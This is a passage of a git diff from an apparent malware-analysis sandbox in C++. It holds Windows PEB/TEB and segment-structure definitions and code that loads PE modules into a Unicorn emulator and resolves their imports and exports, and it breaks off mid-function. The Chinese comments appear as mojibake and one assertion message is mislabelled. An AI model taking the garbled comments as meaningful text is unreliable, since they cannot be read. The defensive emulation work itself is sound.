+ ULONG pUnused; //0x238 + ULONG pImageHeaderHash; //0x23c + union + { + ULONG TracingFlags; //0x240 + struct + { + ULONG HeapTracingEnabled : 1; //0x240 + ULONG CritSecTracingEnabled : 1; //0x240 + ULONG LibLoaderTracingEnabled : 1; //0x240 + ULONG SpareTracingBits : 29; //0x240 + }; + }; + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x248 + ULONG TppWorkerpListLock; //0x250 + struct LIST_ENTRY32 TppWorkerpList; //0x254 + ULONG WaitOnAddressHashTable[128]; //0x25c + ULONG TelemetryCoverageHeader; //0x45c + ULONG CloudFileFlags; //0x460 + ULONG CloudFileDiagFlags; //0x464 + CHAR PlaceholderCompatibilityMode; //0x468 + CHAR PlaceholderCompatibilityModeReserved[7]; //0x469 + ULONG LeapSecondData; //0x470 + union + { + ULONG LeapSecondFlags; //0x474 + struct + { + ULONG SixtySecondEnabled : 1; //0x474 + ULONG Reserved : 31; //0x474 + }; + }; + ULONG NtGlobalFlag2; //0x478 +}; +static_assert(sizeof(X32PEB) == 0x480, "X64PEB Size check"); +//0x4e0 bytes (sizeof) +struct _GDI_TEB_BATCH32 +{ + ULONG Offset : 31; //0x0 + ULONG HasRenderingCommand : 1; //0x0 + ULONG HDC; //0x4 + ULONG Buffer[310]; //0x8 +}; +//0x18 bytes (sizeof) +struct _ACTIVATION_CONTEXT_STACK32 +{ + ULONG ActiveFrame; //0x0 + struct LIST_ENTRY32 FrameListCache; //0x4 + ULONG Flags; //0xc + ULONG NextCookieSequenceNumber; //0x10 + ULONG StackId; //0x14 +}; +//0x8 bytes (sizeof) +struct _CLIENT_ID32 +{ + ULONG UniqueProcess; //0x0 + ULONG UniqueThread; //0x4 +}; +//0x1000 bytes (sizeof) +struct X32TEB +{ + struct _NT_TIB32 NtTib; //0x0 + ULONG EnvironmentPointer; //0x1c + struct _CLIENT_ID32 ClientId; //0x20 + ULONG ActiveRpcHandle; //0x28 + ULONG ThreadLocalStoragePointer; //0x2c + ULONG ProcessEnvironmentBlock; //0x30 + ULONG LastErrorValue; //0x34 + ULONG CountOfOwnedCriticalSections; //0x38 + ULONG CsrClientThread; //0x3c + ULONG Win32ThreadInfo; //0x40 + ULONG User32Reserved[26]; //0x44 + ULONG UserReserved[5]; //0xac + ULONG WOW32Reserved; //0xc0 + ULONG CurrentLocale; //0xc4 + ULONG FpSoftwareStatusRegister; //0xc8 + ULONG ReservedForDebuggerInstrumentation[16]; //0xcc + ULONG SystemReserved1[26]; //0x10c + CHAR PlaceholderCompatibilityMode; //0x174 + UCHAR PlaceholderHydrationAlwaysExplicit; //0x175 + CHAR PlaceholderReserved[10]; //0x176 + ULONG ProxiedProcessId; //0x180 + struct _ACTIVATION_CONTEXT_STACK32 _ActivationStack; //0x184 + UCHAR WorkingOnBehalfTicket[8]; //0x19c + LONG ExceptionCode; //0x1a4 + ULONG ActivationContextStackPointer; //0x1a8 + ULONG InstrumentationCallbackSp; //0x1ac + ULONG InstrumentationCallbackPreviousPc; //0x1b0 + ULONG InstrumentationCallbackPreviousSp; //0x1b4 + UCHAR InstrumentationCallbackDisabled; //0x1b8 + UCHAR SpareBytes[23]; //0x1b9 + ULONG TxFsContext; //0x1d0 + struct _GDI_TEB_BATCH32 GdiTebBatch; //0x1d4 + struct _CLIENT_ID32 RealClientId; //0x6b4 + ULONG GdiCachedProcessHandle; //0x6bc + ULONG GdiClientPID; //0x6c0 + ULONG GdiClientTID; //0x6c4 + ULONG GdiThreadLocalInfo; //0x6c8 + ULONG Win32ClientInfo[62]; //0x6cc + ULONG glDispatchTable[233]; //0x7c4 + ULONG glReserved1[29]; //0xb68 + ULONG glReserved2; //0xbdc + ULONG glSectionInfo; //0xbe0 + ULONG glSection; //0xbe4 + ULONG glTable; //0xbe8 + ULONG glCurrentRC; //0xbec + ULONG glContext; //0xbf0 + ULONG LastStatusValue; //0xbf4 + struct _STRING32 StaticUnicodeString; //0xbf8 + WCHAR StaticUnicodeBuffer[261]; //0xc00 + ULONG DeallocationStack; //0xe0c + ULONG TlsSlots[64]; //0xe10 + struct LIST_ENTRY32 TlsLinks; //0xf10 + ULONG Vdm; //0xf18 + ULONG ReservedForNtRpc; //0xf1c + ULONG DbgSsReserved[2]; //0xf20 + ULONG HardErrorMode; //0xf28 + ULONG Instrumentation[9]; //0xf2c + struct _GUID ActivityId; //0xf50 + ULONG SubProcessTag; //0xf60 + ULONG PerflibData; //0xf64 + ULONG EtwTraceData; //0xf68 + ULONG WinSockData; //0xf6c + ULONG GdiBatchCount; //0xf70 + union + { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; //0xf74 + ULONG IdealProcessorValue; //0xf74 + struct + { + UCHAR ReservedPad0; //0xf74 + UCHAR ReservedPad1; //0xf75 + UCHAR ReservedPad2; //0xf76 + UCHAR IdealProcessor; //0xf77 + }; + }; + ULONG GuaranteedStackBytes; //0xf78 + ULONG ReservedForPerf; //0xf7c + ULONG ReservedForOle; //0xf80 + ULONG WaitingOnLoaderLock; //0xf84 + ULONG SavedPriorityState; //0xf88 + ULONG ReservedForCodeCoverage; //0xf8c + ULONG ThreadPoolData; //0xf90 + ULONG TlsExpansionSlots; //0xf94 + ULONG MuiGeneration; //0xf98 + ULONG IsImpersonating; //0xf9c + ULONG NlsCache; //0xfa0 + ULONG pShimData; //0xfa4 + ULONG HeapData; //0xfa8 + ULONG CurrentTransactionHandle; //0xfac + ULONG ActiveFrame; //0xfb0 + ULONG FlsData; //0xfb4 + ULONG PreferredLanguages; //0xfb8 + ULONG UserPrefLanguages; //0xfbc + ULONG MergedPrefLanguages; //0xfc0 + ULONG MuiImpersonation; //0xfc4 + union + { + volatile USHORT CrossTebFlags; //0xfc8 + USHORT SpareCrossTebBits : 16; //0xfc8 + }; + union + { + USHORT SameTebFlags; //0xfca + struct + { + USHORT SafeThunkCall : 1; //0xfca + USHORT InDebugPrint : 1; //0xfca + USHORT HasFiberData : 1; //0xfca + USHORT SkipThreadAttach : 1; //0xfca + USHORT WerInShipAssertCode : 1; //0xfca + USHORT RanProcessInit : 1; //0xfca + USHORT ClonedThread : 1; //0xfca + USHORT SuppressDebugMsg : 1; //0xfca + USHORT DisableUserStackWalk : 1; //0xfca + USHORT RtlExceptionAttached : 1; //0xfca + USHORT InitialThread : 1; //0xfca + USHORT SessionAware : 1; //0xfca + USHORT LoadOwner : 1; //0xfca + USHORT LoaderWorker : 1; //0xfca + USHORT SkipLoaderInit : 1; //0xfca + USHORT SpareSameTebBits : 1; //0xfca + }; + }; + ULONG TxnScopeEnterCallback; //0xfcc + ULONG TxnScopeExitCallback; //0xfd0 + ULONG TxnScopeContext; //0xfd4 + ULONG LockCount; //0xfd8 + LONG WowTebOffset; //0xfdc + ULONG ResourceRetValue; //0xfe0 + ULONG ReservedForWdf; //0xfe4 + ULONGLONG ReservedForCrt; //0xfe8 + struct _GUID EffectiveContainerId; //0xff0 +}; +static_assert(sizeof(X32TEB) == 0x1000, "X32TEB Size check"); + +/* + x64çš„teb_64 32ä½çš„æ²¡åš +*/ +struct _ACTIVATION_CONTEXT_STACK { + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame; // 0x0 + struct _LIST_ENTRY FrameListCache; // 0x8 + ULONG Flags; // 0x18 + ULONG NextCookieSequenceNumber; // 0x1c + ULONG StackId; // 0x20 +}; +struct _GDI_TEB_BATCH { + ULONG Offset : 31; // 0x0 + ULONG HasRenderingCommand : 1; // 0x0 + ULONGLONG HDC; // 0x8 + ULONG Buffer[310]; // 0x10 +}; +struct _CLIENT_ID { + DWORD64 UniqueProcess; // 0x0 + DWORD64 UniqueThread; // 0x8 +}; +static_assert(sizeof(_CLIENT_ID) == 0x10, "_CLIENT_ID Size check"); + +static_assert(sizeof(_NT_TIB) == 0x38, "_NT_TIB Size check"); +typedef struct X64TEB { + struct _NT_TIB64 NtTib; // 0x0 + VOID* EnvironmentPointer; // 0x38 + struct _CLIENT_ID ClientId; // 0x40 + VOID* ActiveRpcHandle; // 0x50 + VOID* ThreadLocalStoragePointer; // 0x58 + struct X64PEB* ProcessEnvironmentBlock; // 0x60 + ULONG LastErrorValue; // 0x68 + ULONG CountOfOwnedCriticalSections; // 0x6c + VOID* CsrClientThread; // 0x70 + VOID* Win32ThreadInfo; // 0x78 + ULONG User32Reserved[26]; // 0x80 + ULONG UserReserved[5]; // 0xe8 + VOID* WOW32Reserved; // 0x100 + ULONG CurrentLocale; // 0x108 + ULONG FpSoftwareStatusRegister; // 0x10c + VOID* ReservedForDebuggerInstrumentation[16]; // 0x110 + VOID* SystemReserved1[30]; // 0x190 + CHAR PlaceholderCompatibilityMode; // 0x280 + UCHAR PlaceholderHydrationAlwaysExplicit; // 0x281 + CHAR PlaceholderReserved[10]; // 0x282 + ULONG ProxiedProcessId; // 0x28c + struct _ACTIVATION_CONTEXT_STACK _ActivationStack; // 0x290 + UCHAR WorkingOnBehalfTicket[8]; // 0x2b8 + LONG ExceptionCode; // 0x2c0 + UCHAR Padding0[4]; // 0x2c4 + struct _ACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; // 0x2c8 + ULONGLONG InstrumentationCallbackSp; // 0x2d0 + ULONGLONG InstrumentationCallbackPreviousPc; // 0x2d8 + ULONGLONG InstrumentationCallbackPreviousSp; // 0x2e0 + ULONG TxFsContext; // 0x2e8 + UCHAR InstrumentationCallbackDisabled; // 0x2ec + UCHAR UnalignedLoadStoreExceptions; // 0x2ed + UCHAR Padding1[2]; // 0x2ee + struct _GDI_TEB_BATCH GdiTebBatch; // 0x2f0 + struct _CLIENT_ID RealClientId; // 0x7d8 + VOID* GdiCachedProcessHandle; // 0x7e8 + ULONG GdiClientPID; // 0x7f0 + ULONG GdiClientTID; // 0x7f4 + VOID* GdiThreadLocalInfo; // 0x7f8 + ULONGLONG Win32ClientInfo[62]; // 0x800 + VOID* glDispatchTable[233]; // 0x9f0 + ULONGLONG glReserved1[29]; // 0x1138 + VOID* glReserved2; // 0x1220 + VOID* glSectionInfo; // 0x1228 + VOID* glSection; // 0x1230 + VOID* glTable; // 0x1238 + VOID* glCurrentRC; // 0x1240 + VOID* glContext; // 0x1248 + ULONG LastStatusValue; // 0x1250 + UCHAR Padding2[4]; // 0x1254 + struct _UNICODE_STRING StaticUnicodeString; // 0x1258 + WCHAR StaticUnicodeBuffer[261]; // 0x1268 + UCHAR Padding3[6]; // 0x1472 + VOID* DeallocationStack; // 0x1478 + VOID* TlsSlots[64]; // 0x1480 + struct _LIST_ENTRY TlsLinks; // 0x1680 + VOID* Vdm; // 0x1690 + VOID* ReservedForNtRpc; // 0x1698 + VOID* DbgSsReserved[2]; // 0x16a0 + ULONG HardErrorMode; // 0x16b0 + UCHAR Padding4[4]; // 0x16b4 + VOID* Instrumentation[11]; // 0x16b8 + struct _GUID ActivityId; // 0x1710 + VOID* SubProcessTag; // 0x1720 + VOID* PerflibData; // 0x1728 + VOID* EtwTraceData; // 0x1730 + VOID* WinSockData; // 0x1738 + ULONG GdiBatchCount; // 0x1740 + union { + struct _PROCESSOR_NUMBER CurrentIdealProcessor; // 0x1744 + ULONG IdealProcessorValue; // 0x1744 + struct { + UCHAR ReservedPad0; // 0x1744 + UCHAR ReservedPad1; // 0x1745 + UCHAR ReservedPad2; // 0x1746 + UCHAR IdealProcessor; // 0x1747 + }; + }; + ULONG GuaranteedStackBytes; // 0x1748 + UCHAR Padding5[4]; // 0x174c + VOID* ReservedForPerf; // 0x1750 + VOID* ReservedForOle; // 0x1758 + ULONG WaitingOnLoaderLock; // 0x1760 + UCHAR Padding6[4]; // 0x1764 + VOID* SavedPriorityState; // 0x1768 + ULONGLONG ReservedForCodeCoverage; // 0x1770 + VOID* ThreadPoolData; // 0x1778 + VOID** TlsExpansionSlots; // 0x1780 + VOID* DeallocationBStore; // 0x1788 + VOID* BStoreLimit; // 0x1790 + ULONG MuiGeneration; // 0x1798 + ULONG IsImpersonating; // 0x179c + VOID* NlsCache; // 0x17a0 + VOID* pShimData; // 0x17a8 + ULONG HeapData; // 0x17b0 + UCHAR Padding7[4]; // 0x17b4 + VOID* CurrentTransactionHandle; // 0x17b8 + struct _TEB_ACTIVE_FRAME* ActiveFrame; // 0x17c0 + VOID* FlsData; // 0x17c8 + VOID* PreferredLanguages; // 0x17d0 + VOID* UserPrefLanguages; // 0x17d8 + VOID* MergedPrefLanguages; // 0x17e0 + ULONG MuiImpersonation; // 0x17e8 + union { + volatile USHORT CrossTebFlags; // 0x17ec + USHORT SpareCrossTebBits : 16; // 0x17ec + }; + union { + USHORT SameTebFlags; // 0x17ee + struct { + USHORT SafeThunkCall : 1; // 0x17ee + USHORT InDebugPrint : 1; // 0x17ee + USHORT HasFiberData : 1; // 0x17ee + USHORT SkipThreadAttach : 1; // 0x17ee + USHORT WerInShipAssertCode : 1; // 0x17ee + USHORT RanProcessInit : 1; // 0x17ee + USHORT ClonedThread : 1; // 0x17ee + USHORT SuppressDebugMsg : 1; // 0x17ee + USHORT DisableUserStackWalk : 1; // 0x17ee + USHORT RtlExceptionAttached : 1; // 0x17ee + USHORT InitialThread : 1; // 0x17ee + USHORT SessionAware : 1; // 0x17ee + USHORT LoadOwner : 1; // 0x17ee + USHORT LoaderWorker : 1; // 0x17ee + USHORT SkipLoaderInit : 1; // 0x17ee + USHORT SpareSameTebBits : 1; // 0x17ee + }; + }; + VOID* TxnScopeEnterCallback; // 0x17f0 + VOID* TxnScopeExitCallback; // 0x17f8 + VOID* TxnScopeContext; // 0x1800 + ULONG LockCount; // 0x1808 + LONG WowTebOffset; // 0x180c + VOID* ResourceRetValue; // 0x1810 + VOID* ReservedForWdf; // 0x1818 + ULONGLONG ReservedForCrt; // 0x1820 + struct _GUID EffectiveContainerId; // 0x1828 +}; +static_assert(sizeof(X64TEB) == 0x1838, "TEB Size check"); +struct struct_gs_base { + char unk[0x30]; // 0x0 + uint64_t teb; // 0x30 + char unk2[0x28]; // 0x38 + uint64_t peb; // 0x60 +}; +/// See: Segment Descriptor +union SegmentDescriptor { + ULONG64 all; + struct { + ULONG64 limit_low : 16; + ULONG64 base_low : 16; + ULONG64 base_mid : 8; + ULONG64 type : 4; + ULONG64 system : 1; + ULONG64 dpl : 2; + ULONG64 present : 1; + ULONG64 limit_high : 4; + ULONG64 avl : 1; + ULONG64 l : 1; //!< 64-bit code segment (IA-32e mode only) + ULONG64 db : 1; + ULONG64 gran : 1; + ULONG64 base_high : 8; + } fields; +}; +/// @copydoc SegmentDescriptor +struct SegmentDesctiptorX64 { + SegmentDescriptor descriptor; + ULONG32 base_upper32; + ULONG32 reserved; +}; +// æ¯ä¸ªç³»ç»Ÿçš„KPCR结构都ä¸ä¸€æ ·,懒了 +typedef struct _KPCR { + SegmentDesctiptorX64 gdt[8]; +} KPCR; + +#include +struct Idtr { + unsigned short limit; + ULONG_PTR base; +}; + +struct Idtr32 { + unsigned short limit; + ULONG32 base; +}; +static_assert(sizeof(Idtr32) == 6, "Size check"); +using Gdtr = Idtr; +#if defined(_AMD64_) +static_assert(sizeof(Idtr) == 10, "Size check"); +static_assert(sizeof(Gdtr) == 10, "Size check"); +#else +static_assert(sizeof(Idtr) == 6, "Size check"); +static_assert(sizeof(Gdtr) == 6, "Size check"); +#endif + +#include +union SegmentSelector { + unsigned short all; + struct { + unsigned short rpl : 2; //!< Requested Privilege Level + unsigned short ti : 1; //!< Table Indicator + unsigned short index : 13; + } fields; +}; +static_assert(sizeof(SegmentSelector) == 2, "Size check"); +#include + +union FlagRegister { + ULONG_PTR all; + struct { + ULONG_PTR cf : 1; //!< [0] Carry flag + ULONG_PTR reserved1 : 1; //!< [1] Always 1 + ULONG_PTR pf : 1; //!< [2] Parity flag + ULONG_PTR reserved2 : 1; //!< [3] Always 0 + ULONG_PTR af : 1; //!< [4] Borrow flag + ULONG_PTR reserved3 : 1; //!< [5] Always 0 + ULONG_PTR zf : 1; //!< [6] Zero flag + ULONG_PTR sf : 1; //!< [7] Sign flag + ULONG_PTR tf : 1; //!< [8] Trap flag + ULONG_PTR intf : 1; //!< [9] Interrupt flag + ULONG_PTR df : 1; //!< [10] Direction flag + ULONG_PTR of : 1; //!< [11] Overflow flag + ULONG_PTR iopl : 2; //!< [12:13] I/O privilege level + ULONG_PTR nt : 1; //!< [14] Nested task flag + ULONG_PTR reserved4 : 1; //!< [15] Always 0 + ULONG_PTR rf : 1; //!< [16] Resume flag + ULONG_PTR vm : 1; //!< [17] Virtual 8086 mode + ULONG_PTR ac : 1; //!< [18] Alignment check + ULONG_PTR vif : 1; //!< [19] Virtual interrupt flag + ULONG_PTR vip : 1; //!< [20] Virtual interrupt pending + ULONG_PTR id : 1; //!< [21] Identification flag + ULONG_PTR reserved5 : 10; //!< [22:31] Always 0 + } fields; +}; +struct moudle_export { + char name[MAX_PATH]; + uint64_t function_address; + void* function_callback; +}; +struct moudle_import { + char name[MAX_PATH]; + char dll_name[MAX_PATH]; + uint64_t function_address; + void* function_callback; + bool is_delayed_import; +}; +struct moudle_section { + char name[9]; + ULONG base; + ULONG size; + ULONG protect_flag; +}; +struct struct_handle_table { + uint64_t handle; // 值 + uint64_t type; // 对象类型 + uint64_t address; // åœ°å€ + uint64_t authorization; // æƒé™ + uint64_t protect_flag; // 是å¦è¢«ä¿æŠ¤ + char name[MAX_PATH]; // åç§° +}; +struct struct_moudle { + char name[MAX_PATH]; + uint64_t entry; + uint64_t base; + uint64_t size; + std::vector> import_function; + std::vector> export_function; + std::vector> sections; +}; +struct struct_process { + char ImageFileName[MAX_PATH]; // åå­— + struct_handle_table HandleTable; // 奿Ÿ„表 + uint64_t DebugPort; // 一直为0谢谢 + uint64_t UniqueProcessId; // 进程id + uint64_t InheritedFromUniqueProcessId; // 父进程ID + X64PEB PebBaseAddress; // PEB é‡Œé¢æœ‰ldr + uint64_t ExitStatus; // ç»ˆæ­¢çŠ¶æ€ + uint64_t AffinityMask; // å…³è”æŽ©ç  + uint64_t BasePriority; // 优先级类 + uint64_t VadRoot; // VAD + std::vector moudle_list; // 模å—列表 +}; + +typedef struct AllocBlock_s { + AllocBlock_s(ULONG64 b, ULONG s) : base(b), size(s) { free = false; } + ULONG64 base; + ULONG size; + bool free; +} AllocBlock_t; + +struct struct_params { + int type; // 类型 + char str[MAX_PATH]; // PARAMS_CHAR + wchar_t wstr[MAX_PATH]; // PARAMS_WCHAR + uint64_t uint; // PARAMS_UINT + int _int; // PARAMS_INT +}; +struct struct_process_trace_log { + time_t time; // æ—¶é—´ + char function_name[MAX_PATH]; // åå­— + char moudle_name[MAX_PATH]; // 模å—åå­— + uint64_t function_address; // åœ°å€ + uint64_t call_address; + int params_num; // 傿•°æ•°é‡ + std::vector save_regs; // å„ä¸ªå¯„å­˜å™¨çŠ¶æ€ + std::vector save_params; // å„ä¸ªå‚æ•°å€¼ +}; diff --git a/ai_anti_malware/sandbox.cpp b/ai_anti_malware/sandbox.cpp new file mode 100644 index 0000000..3bba904 --- /dev/null +++ b/ai_anti_malware/sandbox.cpp @@ -0,0 +1,575 @@ +#include "sandbox.h" +#include "sandbox_callbacks.h" +std::string getDllNameFromApiSetMap(const std::string& apiSet) { + const std::wstring wApiSet(apiSet.begin(), apiSet.end()); + + // 获å–ç³»ç»Ÿç‰ˆæœ¬ä¿¡æ¯ + using RtlGetVersionFunc = LONG(__stdcall*)(PRTL_OSVERSIONINFOW); + const auto pRtlGetVersion = reinterpret_cast( + GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlGetVersion")); + + RTL_OSVERSIONINFOEXW verInfo{}; + verInfo.dwOSVersionInfoSize = sizeof(verInfo); + pRtlGetVersion(reinterpret_cast(&verInfo)); + + const ULONG verShort = (verInfo.dwMajorVersion << 8) | + (verInfo.dwMinorVersion << 4) | + verInfo.wServicePackMajor; + + if (verShort >= static_cast(WinVer::kWin10)) { + const auto apiSetMap = reinterpret_cast( + reinterpret_cast(__readgsqword(0x60))->ApiSetMap); + const auto apiSetMapAsNumber = reinterpret_cast(apiSetMap); + auto nsEntry = reinterpret_cast( + apiSetMap->Start + apiSetMapAsNumber); + + // é历APIé›†åˆæŸ¥æ‰¾åŒ¹é…项 + for (ULONG i = 0; i < apiSetMap->Count; i++) { + UNICODE_STRING nameString{}, valueString{}; + nameString.MaximumLength = static_cast(nsEntry->NameLength); + nameString.Length = static_cast(nsEntry->NameLength); + nameString.Buffer = reinterpret_cast(apiSetMapAsNumber + + nsEntry->NameOffset); + + const std::wstring name(nameString.Buffer, + nameString.Length / sizeof(WCHAR)); + const std::wstring fullName = name + L".dll"; + + if (_wcsicmp(wApiSet.c_str(), fullName.c_str()) == 0) { + if (nsEntry->ValueCount == 0) { + return ""; + } + + const auto valueEntry = + reinterpret_cast( + apiSetMapAsNumber + nsEntry->ValueOffset); + valueString.Buffer = reinterpret_cast( + apiSetMapAsNumber + valueEntry->ValueOffset); + valueString.MaximumLength = + static_cast(valueEntry->ValueLength); + valueString.Length = + static_cast(valueEntry->ValueLength); + + const std::wstring value(valueString.Buffer, + valueString.Length / sizeof(WCHAR)); + return {value.begin(), value.end()}; + } + ++nsEntry; + } + } else { + // 䏿”¯æŒWindows 10以下版本 + throw std::runtime_error("Unsupported Windows version"); + } + return ""; +} + +class ImportResolver : public peconv::t_function_resolver { + public: + explicit ImportResolver(std::map context) + : _functionMap(std::move(context)) {} + + FARPROC resolve_func(LPSTR libName, LPSTR funcName) override { + return reinterpret_cast(_functionMap[std::string(funcName)]); + } + + private: + std::map _functionMap; +}; + +class cListImportNames : public peconv::ImportThunksCallback { + public: + cListImportNames(BYTE* _modulePtr, size_t _moduleSize, + std::vector>& name_to_addr) + : ImportThunksCallback(_modulePtr, _moduleSize), + nameToAddr(name_to_addr) {} + + virtual bool processThunks(LPSTR lib_name, ULONG_PTR origFirstThunkPtr, + ULONG_PTR firstThunkPtr) { + if (this->is64b) { + IMAGE_THUNK_DATA64* desc = + reinterpret_cast(origFirstThunkPtr); + ULONGLONG* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl( + lib_name, desc, call_via, IMAGE_ORDINAL_FLAG64); + } + IMAGE_THUNK_DATA32* desc = + reinterpret_cast(origFirstThunkPtr); + DWORD* call_via = reinterpret_cast(firstThunkPtr); + return processThunks_tpl( + lib_name, desc, call_via, IMAGE_ORDINAL_FLAG32); + } + + protected: + template + bool processThunks_tpl(LPSTR lib_name, T_IMAGE_THUNK_DATA* desc, + T_FIELD* call_via, T_FIELD ordinal_flag) { + DWORD call_via_rva = static_cast((ULONG_PTR)call_via - + (ULONG_PTR)this->modulePtr); + LPSTR func_name = NULL; + if ((desc->u1.Ordinal & ordinal_flag) == 0) { + PIMAGE_IMPORT_BY_NAME by_name = + (PIMAGE_IMPORT_BY_NAME)((ULONGLONG)modulePtr + + desc->u1.AddressOfData); + func_name = reinterpret_cast(by_name->Name); + std::string fuck_up_api_ms = lib_name; + if (fuck_up_api_ms.find("api-ms-") != std::string::npos) { + fuck_up_api_ms = getDllNameFromApiSetMap(fuck_up_api_ms); + if (fuck_up_api_ms.size() <= 1) __debugbreak(); + } + auto import_data = std::make_shared(); + memcpy(import_data->name, func_name, strlen(func_name)); + memcpy(import_data->dll_name, fuck_up_api_ms.c_str(), + fuck_up_api_ms.size()); + import_data->function_address = call_via_rva; + import_data->is_delayed_import = false; + nameToAddr.push_back(import_data); + } + return true; + } + + std::vector>& nameToAddr; +}; + +Sandbox::Sandbox() {} + +Sandbox::~Sandbox() {} + +auto Sandbox::PushModuleToVM(const char* dllName, uint64_t moduleBase, + uint32_t x32Base) -> void { + // æ£€æŸ¥æ¨¡å—æ˜¯å¦å·²åŠ è½½ + auto isModuleLoaded = + std::any_of(m_moduleList.begin(), m_moduleList.end(), + [moduleBase](std::shared_ptr module) { + return module->base == moduleBase; + }); + + if (isModuleLoaded) { + std::cout << "[PE] Skipping " << dllName << " (already loaded)\n"; + return; + } + + // è§£æžPE头 + auto* dosHeader = reinterpret_cast(moduleBase); + auto* ntHeaders = reinterpret_cast( + reinterpret_cast(moduleBase) + dosHeader->e_lfanew); + + // 获å–区段对é½å€¼ + DWORD sectionAlignment = + (ntHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) + ? reinterpret_cast(ntHeaders) + ->OptionalHeader.SectionAlignment + : ntHeaders->OptionalHeader.SectionAlignment; + + // 获å–区段头 + auto* sectionHeader = reinterpret_cast( + reinterpret_cast(ntHeaders) + sizeof(ntHeaders->Signature) + + sizeof(ntHeaders->FileHeader) + + ntHeaders->FileHeader.SizeOfOptionalHeader); + + // åˆ›å»ºæ–°æ¨¡å— + struct_moudle newModule{}; + strncpy(newModule.name, dllName, strlen(dllName)); + newModule.base = this->m_peInfo->isX64 ? moduleBase : x32Base; + newModule.entry = ntHeaders->OptionalHeader.AddressOfEntryPoint; + newModule.size = ntHeaders->OptionalHeader.SizeOfImage; + + // 处ç†åŒºæ®µ + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { + const auto& section = sectionHeader[i]; + + // if (!(section.Characteristics & + // (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE))) { + // continue; + // } + + // è®¾ç½®åŒºæ®µä¿æŠ¤å±žæ€§ + int protection = UC_PROT_READ; + if (section.Characteristics & IMAGE_SCN_MEM_EXECUTE) + protection |= UC_PROT_EXEC; + if (section.Characteristics & IMAGE_SCN_MEM_WRITE) + protection |= UC_PROT_WRITE; + + // è®¡ç®—åŒºæ®µå¤§å° + auto sectionSize = + AlignSize(max(section.Misc.VirtualSize, section.SizeOfRawData), + sectionAlignment); + + // åˆ›å»ºåŒºæ®µä¿¡æ¯ + moudle_section newSection{}; + strncpy(newSection.name, reinterpret_cast(section.Name), + 8); + newSection.base = section.VirtualAddress; + newSection.size = sectionSize; + newSection.protect_flag = protection; + + newModule.sections.push_back( + std::make_shared(newSection)); + std::cout << "[PE] " << dllName << " Section found: " << newSection.name + << '\n'; + } + m_moduleList.push_back(std::make_shared(newModule)); + uc_mem_map(m_ucEngine, moduleBase, newModule.size, + UC_PROT_READ | UC_PROT_EXEC); + uc_mem_write(m_ucEngine, moduleBase, (void*)moduleBase, newModule.size); +} + +auto Sandbox::ResolveExport() -> void { + DWORD exportSize = 0; + static RtlImageDirectoryEntryToDataFn fnRtlImageDirectoryEntryToData; + if (fnRtlImageDirectoryEntryToData == nullptr) { + fnRtlImageDirectoryEntryToData = + reinterpret_cast(GetProcAddress( + GetModuleHandleA("ntdll.dll"), "RtlImageDirectoryEntryToData")); + } + // 获å–导出表 + PIMAGE_EXPORT_DIRECTORY exportDirectory = + static_cast(fnRtlImageDirectoryEntryToData( + m_peInfo->peBuffer, TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, + &exportSize)); + + if (exportDirectory) { + const DWORD numberOfNames = exportDirectory->NumberOfNames; + PDWORD addressOfFunctions = + reinterpret_cast(static_cast(m_peInfo->peBuffer) + + exportDirectory->AddressOfFunctions); + PDWORD addressOfNames = + reinterpret_cast(static_cast(m_peInfo->peBuffer) + + exportDirectory->AddressOfNames); + PWORD addressOfNameOrdinals = + reinterpret_cast(static_cast(m_peInfo->peBuffer) + + exportDirectory->AddressOfNameOrdinals); + + // é历导出函数 + for (size_t i = 0; i < numberOfNames; i++) { + PCHAR functionName = reinterpret_cast( + static_cast(m_peInfo->peBuffer) + addressOfNames[i]); + + // 获å–函数RVA + const DWORD functionRva = + addressOfFunctions[addressOfNameOrdinals[i]]; + + // 创建导出数æ®ç»“æž„ + moudle_export exportData{}; + memcpy(exportData.name, functionName, strlen(functionName)); + exportData.function_address = functionRva; + + m_exportFuncDict.push_back( + std::make_shared(exportData)); + } + } +} + +auto Sandbox::processImportModule(const moudle_import* importModule) -> void { + // 构建模å—路径 + const std::string systemDir = + m_peInfo->isX64 ? "\\System32\\" : "\\SysWOW64\\"; + char windowsPath[MAX_PATH]; + if (!GetWindowsDirectoryA(windowsPath, sizeof(windowsPath))) { + throw std::runtime_error("Failed to get Windows directory"); + } + + const std::string modulePath = + std::string(windowsPath) + systemDir + importModule->dll_name; + + // 加载PEæ¨¡å— + size_t mappedPeSize = 0; + const auto moduleBase = reinterpret_cast( + peconv::load_pe_module(modulePath.c_str(), mappedPeSize, false, false)); + + if (!moduleBase) { + return; + } + + // 添加到虚拟机 + const auto moduleBase32 = static_cast(moduleBase); + PushModuleToVM(importModule->dll_name, moduleBase, moduleBase32); +} +auto Sandbox::ResoveImport() -> void { + // 处ç†å»¶è¿Ÿå¯¼å…¥ + peconv::load_delayed_imports(static_cast(m_peInfo->peBuffer), 0); + + // è§£æžå¯¼å…¥è¡¨ + cListImportNames importCallback(static_cast(m_peInfo->peBuffer), + m_peInfo->peSize, m_impFuncDict); + + if (!peconv::process_import_table(static_cast(m_peInfo->peBuffer), + m_peInfo->peSize, &importCallback)) { + throw std::runtime_error("Failed to process import table"); + } + + // å¤„ç†æ¯ä¸ªå¯¼å…¥æ¨¡å— + for (const auto& importModule : m_impFuncDict) { + processImportModule(importModule.get()); + } +} +auto Sandbox::SetupVirtualMachine() -> void { + SegmentSelector cs = {0}; + cs.fields.index = 1; + uc_reg_write(m_ucEngine, UC_X86_REG_CS, &cs.all); + + SegmentSelector ds = {0}; + ds.fields.index = 2; + uc_reg_write(m_ucEngine, UC_X86_REG_DS, &ds.all); + + SegmentSelector ss = {0}; + ss.fields.index = 2; + uc_reg_write(m_ucEngine, UC_X86_REG_SS, &ss.all); + + SegmentSelector es = {0}; + es.fields.index = 2; + uc_reg_write(m_ucEngine, UC_X86_REG_ES, &es.all); + + SegmentSelector gs = {0}; + gs.fields.index = 2; + uc_reg_write(m_ucEngine, UC_X86_REG_GS, &gs.all); + + FlagRegister eflags = {0}; + eflags.fields.id = 